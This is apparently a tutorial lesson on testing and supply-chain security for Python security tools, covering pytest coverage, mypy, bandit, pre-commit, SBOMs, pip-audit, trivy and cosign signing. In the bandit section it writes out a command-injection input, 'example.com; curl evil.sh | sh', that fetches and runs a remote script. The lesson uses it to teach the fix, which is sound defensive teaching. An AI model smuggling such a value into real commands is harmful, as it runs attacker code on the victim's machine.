Testing, CI & supply chain: pytest, mypy, SBOM & signing

pytest/coverage, mypy, pre-commit, SBOMs and signing the tools you ship.

A restaurant does not accept a delivery of ground beef on trust. There is an inspection stamp on the box, a seal that shows if it was opened, a label listing what is inside, and a date. Break the seal and the box goes back to the supplier. The scripts you write for security work are a delivery too. Something downstream runs them, often with a key to the very systems they touch, so they carry the same obligations as any shipped good: whoever receives one has to be able to check that it was tested, that its contents are known, and that nobody slipped anything in between your pipeline and their machine.

This lesson wires those checks into one gate that runs on every change, so none of it depends on a person remembering to type a command. There are two halves. Proving the code is correct and safe (tests, types, static analysis), and proving the shipped artifact is genuinely yours with its parts accounted for (an inventory, a vulnerability scan, a signature).

Tests prove behavior, coverage shows the blind spots

pytest runs the small functions you wrote that call your code and assert what should come back. Each assertion is one claim: given this input, the parser returns that value. Coverage is the map on the wall showing which lines of your code actually ran while those tests executed. A branch that no test ever reached shows up as a gap, and gaps are where bugs hide. The flag --cov-fail-under=85 turns a vague intention into a hard rule: if fewer than 85 percent of the lines ran under test, the command exits non-zero and the build stops.

Types catch the shape errors before they run

Python is happy to hand a string to a function that expected bytes, and it only falls over when that exact line runs, which might be a rare error path you hit for the first time in production at 3am. mypy reads the type annotations on your functions and checks the fittings ahead of time, the way you would confirm a pipe thread is the right diameter before turning the water on. It never runs your code. It reads it.

That one line is a real bug found without running anything. hashlib.sha256() wants bytes-like data (ReadableBuffer, which plain bytes satisfies), and something is handing it a str, which is text. You fix it by encoding the value first (value.encode()), rerun, and the check goes green. No test had to reach that path in production before you caught it.

Find the dangerous patterns automatically

bandit is a smoke detector tuned for specific hazards. It does not understand what your program means; it recognizes shapes that are known to start fires: subprocess calls with shell=True (a command injection door), yaml.load without the safe loader, pickle on data from outside, passwords written into the source. The -ll flag raises the reporting threshold to medium severity and above, so the noise stays down and the real findings stand out. ruff is the fast linter that catches the smaller correctness and style problems (an unused import, a bare except) in milliseconds.

Look at what bandit caught. The target string is dropped straight into a shell command with shell=True. Feed that function a target of example.com; curl evil.sh | sh and the shell runs your nmap and then the attacker's payload. The fix is to pass an argument list (["nmap", "-sV", target]) and drop the shell. A defender reading someone else's script treats every shell=True on interpolated input as guilty until proven safe.

Make the gate automatic

A turnstile at the platform lets you onto the train only after you have tapped through. pre-commit is that turnstile for your commits. It runs the checks on the files you changed, every time you commit, so "I forgot to run mypy" stops being a thing that can happen. The config lives in the repo, so every clone gets the same gate with the same pinned tool versions.

repos:
  - repo: https://github.com/astral-sh/ruff-pre-commit
    rev: v0.6.0
    hooks:
      - id: ruff
        args: [--fix]
      - id: ruff-format
  - repo: https://github.com/PyCQA/bandit
    rev: 1.7.9
    hooks:
      - id: bandit
        args: ["-ll", "-r", "sec_tools"]
  - repo: https://github.com/pre-commit/mirrors-mypy
    rev: v1.11.1
    hooks:
      - id: mypy
        additional_dependencies: [types-requests]

Local hooks are a fast feedback loop, not a wall. Anyone can skip them with git commit --no-verify, and a hook only guards the machine it is installed on. So the same checks run again as a required job in CI (continuous integration, the automated service that builds and tests your code on every push), where nobody can wave them through. The local hook saves you a round trip; the CI job is the gate that actually decides what merges.

A parts list for what you ship

An SBOM (Software Bill of Materials) is the ingredients label on the box: a machine-readable list of every component and version baked into your artifact. CycloneDX and SPDX (Software Package Data Exchange) are the two common label formats. The payoff comes on a bad day. When the next critical CVE (Common Vulnerabilities and Exposures, the public catalog of known security flaws) is published against some library, you search your stored SBOMs and know in minutes which shipped artifacts contain the vulnerable version, instead of re-deriving every tool's dependency tree by hand while the clock runs.

A tool that is 200 lines of your own code ships 147 components you did not write. That number is the whole reason the next two steps exist.

Scan the parts you didn't write

The label tells you what is inside; a scan tells you which of those parts is now known to be bad. pip-audit checks your pinned Python dependencies against a vulnerability database. trivy scans the whole container image: your dependencies and the base operating system packages underneath them. Run both on every build, and again on a schedule, because a package that was clean the day you released it becomes vulnerable the day someone files a CVE against it. Nothing about the artifact changed. The world's knowledge of it did.

pip-audit exits non-zero when it finds something, and trivy's --exit-code 1 does the same, so a finding fails the build instead of scrolling past in a log. A scan that cannot stop a release is a report nobody reads.

Sign what you ship

A wax seal on a letter does not hide the message; it proves who closed the envelope, and a broken seal is obvious. cosign puts that seal on your container images and release artifacts. Keyless signing (from the Sigstore project) means you never hold a private key that can leak. The CI job proves its identity through OIDC (OpenID Connect, the standard way one service proves "I am this specific workload" to another), receives a short-lived certificate, signs with it, and records the event in a public transparency log (an append-only ledger called Rekor, so anyone can later confirm that this identity signed this artifact at this time).

The consumer, or an admission controller (the gatekeeper in a Kubernetes cluster that inspects every image before it is allowed to run), verifies the seal before trusting the tool. The verify output prints the exact workflow that signed it, which is the fact you care about.

Wire the whole gate as required CI, not as advice in a README, so a broken, unsafe, or unsigned build cannot reach anyone. Treat the scripts that automate your security the way you treat the systems they protect, because whoever quietly owns your tooling owns everything that tooling can touch.

Try this

Work through “Sign what you ship” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: coverage is not the same as tested. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related